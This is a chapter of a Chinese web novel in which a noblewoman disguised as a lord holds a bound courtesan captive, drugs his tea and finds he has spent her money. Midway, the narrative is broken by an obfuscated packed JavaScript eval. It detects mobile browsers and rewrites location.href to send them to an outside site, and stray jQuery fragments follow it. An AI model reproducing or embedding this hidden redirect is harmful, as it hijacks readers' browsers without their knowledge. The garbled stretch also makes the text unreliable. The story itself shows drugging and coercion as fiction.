7. 赝品娇贵

作品:《公子好囚

    浮光院


    闻应祈被绑了一整夜,滴米未进。体力早已在漫长的挣扎中被耗尽,脑子更是被药性压得昏昏沉沉。思绪像泡在浓雾里,渐渐沉底。


    即便谢令仪已离去多时,四周再无旁人,他依旧提不起一丝力气去挣脱麻绳。


    歇口气,又攒劲试了好几次,麻绳还是纹丝不动。他实在控制不住,只好在一片死寂中咒骂。


    可惜那声音实在太过虚弱,听着不像是骂声,倒像是一只受了委屈的猫儿在低嚎,断断续续,软绵无力。


    谢令仪猫在门外,听了一会儿,实在没能听出他在呜咽什么,只好推门而入。


    “你在鬼叫什么呢?”


    “骂本公子?”


    谢令仪靠近他,一双眼睛,狐疑地在他身上打转,压根忘了自己是来找茬的。


    “骂鬼。”


    闻应祈厌恶地吐出两句,转过头,不愿看她。


    谢令仪闻言,咳嗽两声,有些不自在。骂鬼,倒真让他,瞎猫碰上死耗子——骂对了。


    自己可不就是死了又活的鬼么。


    “行了,何必这么大怨气。本公子为你赎了身。你不感激也就罢了,还敢给我甩脸子?天下间,哪有这样的道理?”


    这话倒像是火星落进干柴,倏忽点燃闻应祈怒火,他眼眶瞬间发红。


    宴会之夜,象姑馆必定人来人往,任谁也不会想到,他一个案板上的鲶鱼,有胆子敢趁此机会逃跑。


    所以此刻,便是他等待多年的良机。为此,他甚至还用尽所有积蓄,买了馆里奴仆半条命,替他声东击西,吸引视线。


    谁知中途竟不防被一老妇缠上,等摆脱了老妇,前院钩子都快折了。着急忙慌之下,他拿了对方的帷帽,改变计划,从后门逃走。


    岂料,又被谢令仪无端拦下。


    明明,只差一步就可以,永远离开那恶心的地方了。


    为什么,为什么谢令仪会突然出现?


    为什么永远都只差那一步?


    “瞪着我做什么?难道本公子说的不对吗?如果不是我,你今早该是在王老爷的床上醒来,而不是好端端的躺在这,还能一觉睡到天亮。”


    谢令仪见他目光陡然变得狠厉,一副恨不得吃了她的模样,不悦道。


    “是吗。”闻应祈满脸阴沉,盯着她一字一顿道:“那小人以后,可真要好好报答贵人了。”


    “不用以后。”谢令仪靠近他,慢慢在榻沿坐下,“你现在就能报答我。”


    “呵。”闻应祈嗤笑一声,见她逼近,身子不住往后缩。摆明了,厌恶极了她,连靠近都觉得烦。


    行吧,谢令仪撇撇嘴,又来一个避她如蛇蝎的。


    她这下倒真觉得,身前的这个人跟张歧安是什么孪生兄弟了。长得一样,性格也大差不差,脾气都坏得很。三句话,就能引她火星子炸。


    就是不知道,喜欢的人,是不是也一样。


    哪天,偷偷抓程惜雯来试试。


    眼下么,自然还有更重要的事。


    “你在象姑馆见多识广,依你之见,但凡男子,喜欢的是不是,都是那种可怜娇小,能引人怜惜的女子?”


    “女子?”


    闻应祈停顿几息,不解的目光横过来。


    哎呀,忘了,谢令仪懊恼的咬了下唇。那种地方接待的都是男客,闻应祈此生估计都没什么机会见到年轻女子,他懂什么。


    思及此,她愈发觉得自己病急乱投医,定是今日被程惜雯气昏了头,才会生出这样的荒唐念头。


    “算了,问你也问不出什么,你先好好待着吧。”


    谢令仪说完便要起身。


    “等等——”


    闻应祈叫住了她。


    “这个问题,我知道答案。”他朝她低头示意,自己被绑的严严实实的手脚,“先给我解开。”


    “真的?”谢令仪站在原地没动,眼神有些怀疑,“你会老实告诉我?”


    “自然是真的。”


    闻应祈语气极其不耐烦,他目光死死盯着谢令仪的身影,生怕她真的头也不回地就走了。


    这里偏僻荒凉,叫天天不应,叫地地不灵。整个上午,他甚至连麻雀的叫声都没听见一个,四周一片死寂,压得人心里发慌。


    现在若是让她走了,还不知她何时才会过来,如此,自己岂不是要白白饿死在这里?


    “我虽没见过多少女子,但对男子的本性,却是再清楚不过。他们贪财好色,欺诈掠夺,自身不够强大,却天生喜欢弱小之物。”


    他稍稍顿了顿,似在积攒力气,眼里流露出冷意,接着道。


    “越是这样,他们就越能从中找到自己的优越感,越能自欺欺人地觉得,自己就是顶天立地的大英雄。”


    谢令仪杵着下巴,对他的答案不置可否。


    “那这样的人,你也喜欢吗?”


    “什么?”


    闻应祈不妨她突然靠近,两人的鼻尖差点碰上。这距离,他甚至能瞧见她脸上细软的绒毛。


    高鼻小巧,唇如点樱。笑起来露出一点齿白。梨涡轻陷,又带着点天真与狡黠。


    他在对他笑?


    那笑容不复之前的假意,带着莫名的讨好,迁就。他屏住呼吸,目光却忍不住向上攀爬。


    毫无意义,谢令仪有张漂亮的脸蛋。皮肤白嫩透亮,眉弯如新月,杏眼澄澈,泛着盈盈水光。


    他在看他,眼神专注的,像是这天地间只容得下他一人。而那双瞳孔,宛如夜色中最亮的星辰,让周围一切都黯然失色。


    闻应祈一瞬间竟失了神,他匆匆挪开视线。


    “嗯。”


    谢令仪轻轻点头,收回了那抹勾人的笑,仿佛下了定论般,若有所思道:“看来是喜欢的。”


    “你!谁喜欢了!”


    闻应祈猛地抬头,眼中满是愠色,刚才的失神瞬间被怒意取代。


    他突然意识到,对方压根就是在戏弄他,方才那专注得过分的目光,和过于靠近的距离,全都是故意为之。


    分明就是想看他的丑态。


    而他,居然还上当了。难道,自己还真喜欢男子不成?


    真是荒唐。


    他胸膛不断起伏,气得眼神都懒得给谢令仪一个,只希望他解开绳子,然后赶紧滚。


    可惜,偏偏对方还装作一副无辜至极的样子,对他眨眨眼。让他有一种,一拳打进棉花里的无力感。


    “你生气了呀?”


    谢令仪又靠近了,杏眼瞪大,毫不掩饰诧异。


    “我只是按照你说的,一时兴起,试了一下。没想到效果不错,你说的,的确是真的。”


    “不如,你以后多教教我,看看你本事如何?毕竟我买了你,也不能任由你吃干饭。”


    她的手已经放到了麻绳结上,摸了几下,又不动了。


    “不过,我解开了,你肯定会逃走。你得发个誓才行,要是毒誓呀。”


    闻应祈闻言,眼睑低垂,情绪平复下来后,内心嗤笑于对方的天真。到底是在锦绣堆里长大的,没受过什么欺骗。


    就上下嘴皮子一碰,轻飘飘几句话,能有什么约束力?


    若换了他来,不让人离开,有的是一万种法子。


    最好的便是砍掉双手双脚,用铁链锁起来。让对方爬不过三尺,上天入地,求救无门。


    “你快点呀!”


    谢令仪叉腰又催了他一下。


    不过是个脑袋空空的蠢货罢了,不足为惧,自己先前算是看走眼了。


    “行行行,小人发誓。”闻应祈不耐烦敷衍,“绝对不跑。”


    “跑了怎么办?”


    “跑了就让小人不得好死,做鬼都被贵人驱使。”


    他话音刚落,谢令仪便解开了他脚上的麻绳。


    “还有手呢。”闻应祈皱眉,晃了晃手腕。


    “手还不行。”谢令仪指腹按在麻绳上,有一搭没一搭轻点着,“本公子随从还没回来,万一你伤害我怎么办?”


    闻应祈闻言微微一滞,原来还不算太蠢。自己现在浑身无力,就算解开脚边的麻绳,别说跑出去,估计连翻身下榻都困难。


    手就不同了。


    他飞快地扫了谢令仪一眼,目光在他细瘦的脖颈上停留片刻。那点皮肉,自己双手绑着麻绳,掐死对方的可能性有多大。


    闻应祈默默在心里盘算了一下,又皱起了眉。


    算了。


    卖身契还在她手里。最起码,得拿到卖身契,完了再做打算。


    不然,一个失籍之人,连城门都出不了,又怎么去找那些害他家破人亡之人。


    “行了。”


    谢令仪望了一眼窗外,缓慢起身。


    “今日你帮了本公子,而本公子呢,也不是忘恩负义之人。你一个人在这待着难免寂寞。我买了几个奴仆过来,贴身伺候你。外头也有些会功夫的守院家丁,护你周全。至于吃喝么,你放心,一应照着象姑馆的规矩来。”


    她转了转眼珠,又笑得漫不经心:“如此,也不算亏待你吧?”


    闻应祈闻言立即抬头,目光冰冷,死死盯着她。


    她自顾自说着,拨弄着袖口的纹饰,像是没察觉他的异样。


    “还有你的名字,祈郎,本公子听着不舒服。”


    祈郎,歧郎,她怎么能对一个肮脏的赝品,叫着如此亲密的称呼?


    谢令仪埋头思索了一会,突然眼神一亮,仿佛想到了一个绝妙的好主意。


    “不如以后就喊你——应奴好啦!你觉得怎么样?”


    她扬着眉,嘴角挂着笑,语气轻快的,像是讨价还价的小商贩。


    心中杀意,霎时波涛汹涌。闻应祈这会子,反而平静了下来。他眉眼弯弯,脸上表情柔和得几近无害,嘴角竟也轻轻勾起了一抹弧度。


    “好呀,奴也觉得祈郎这个名字不好,只是……怕贵人养不起应奴呢。”


    示弱么,他也会。


    谢令仪愣了一下,显然没料到对方会如此‘配合’,她眼底浮现出一丝诧异。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357740|152800||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但这诧异很快被喜悦取代,她轻轻拍了下手。


    “这才对嘛!我就说,这名字才符合你的身份。放心,银子么,本公子多的是,总不会让你饿着。”


    “那些奴才待会就到,不如应奴先喝杯茶,歇息一下?”


    她随手拎起案上的茶壶,亲自倒了一杯茶,递到他面前。


    闻应祈望着杯口熟悉的唇印,半晌没说话。他瞥了谢令仪一眼,对方手还在举着。


    须臾,他脑袋自动凑过去,直接张口咬住杯沿,像只乖顺的小兽般,利落仰脖,冰冷的茶水就进了肚。


    下一瞬,整个人便软绵绵,倒在了身后的床榻上。


    谢令仪‘啧’了一声,低头看了眼那空掉的茶杯,浮生散果然名不虚传。


    ——


    一晃数日过去,眨眼便到了“探花宴”。谢令仪这几日安分得很,老老实实待在府里学规矩,连院门都没迈出一步。


    当然,浮光院的消息是每日必听的,其中还夹了一些上不得台面的“传言”。


    一是象姑馆的花魁被一神秘富商赎身了。常客王老爷为此,还在馆里痛哭了好几宿,闹得人尽皆知。


    二是锦云居里独此一匹的流云绫,也不知被哪位大手笔买走了。这几日,那些个官家小姐都气得不轻,个个发誓要揪出此人。


    谢令仪眯着眼,听完了传言,头上的发髻也盘好了。依她的吩咐,璞玉给她梳了个简单的单螺髻,发尖插了个金梳篦,旁边再斜插一支青玉做的折股钗,其他则再无装饰。


    身上穿着一件雾青对襟襦裙,裙摆用银线绣着莲纹,腰间压着一枚半月璜,用以稳定身姿。


    璞玉左瞧右瞧,铜镜里不施粉黛的小姐,还是觉得不妥。


    “小姐这身打扮好看是好看,可雾青沉闷,压了岁数,不像小姐您这个年纪该穿的。这次毕竟是皇室宴席,也是您第一次赴宴。夫人还特意嘱咐过,也支了不少银子,万一被她看到……”


    “不会,这几日你可见到母亲了?”


    这话倒是问的璞玉一愣。说起来,自从上次去夫人住的写意堂要腰牌之后,还真没见过她。


    “对了,母亲那里拿的银子都收好了吧。”谢令仪打断她的思绪。


    “都收好了,一共是五百两银票。奴婢前儿个都收在小库房了,另外……”


    璞玉语气犹豫,后面的话就有些吞吞吐吐。望见铜镜里,自家小姐好奇的目光,她咬咬牙,索性狠下心,直接一口气说出来。


    “另外,浮光院的小厮说,那位应主子生活奢靡无度。酒要喝上好的浮玉春;吃要祥瑞斋的鱼八鲜、冰鸭、鸳鸯饭。还有一应的宝装茶食,鲜果零嘴等,每日不限量供应。”


    “所以,咱们手头的银子,就只剩下二十两了。”


    “什么?!”


    谢令仪乍听到这个数字,惊的一下子站直了,眼睛都瞪大不少,里面全是不敢置信,声音微微发抖。


    “就这么几天,五百两花的就只剩下二十两了?”


    她尚书府的小姐,一个月月钱才十两。


    就这么几天,他花了自己好几年的工钱?


    怪不得他说自己养不起,敢情自己是花钱买了个祖宗。


    不,不止是祖宗,还是只只出不进的貔貅!


    眼见璞玉默默点头,谢令仪彻底失了力,两眼无神趴在妆奁上,浑身只余出的气,没有进的气。


    “就没人拦着他?”


    “其实也有人拦过。”


    璞玉偷摸睨了她一眼,小心道:“但应奴说,这都是小姐您亲口答应过的,所以下人们也不敢违背。”


    “行吧。不对,他哪来的银子?”谢令仪哀伤片刻,似是突然想到了什么,浑身一激灵,身体一下子坐正了。


    她走的时候,并没留下银两,所以他那些吃食是哪弄来的?总不至于是有好心人替他付了账吧。


    而且,他被送过来的时候,除了光溜溜一个人,就只剩了一张卖身契呀。


    璞玉扛不住自家小姐希冀的眼神,慢吞吞道。


    “小厮说,他抵押了浮光院。”


    “什么!”


    璞玉顶着压力继续道:“他说他是浮光院的主人,吃喝都让小二赊账。反正跑得人,也跑不了院子。”


    “另外。”璞玉从怀里掏出一叠黄纸,“这些都是酒馆、琴行、胭脂铺、成衣铺的催账单子,奴婢本想等宴席后再给您,没想到您现在就问了。”


    谢令仪看着那厚约一指宽的黄纸,眼前一黑,差点晕倒。


    早知道当初就不该装阔,说什么吃喝都按象姑馆的规矩来。她哪知道,养个男人,比养祖宗花销都大?


    而且,那副画也不该白送给程惜雯。这样一算,自己亏的不止五十两啊。


    不知道现在找张歧安要那五百两,他还会不会给。


    “哎,行吧。”谢令仪眼眶含泪,脚底虚浮,“先扶我出去吧,车夫应当到了。”


    事已至此,先吃席吧。糟心事回来再说,今日还有一场硬仗要打。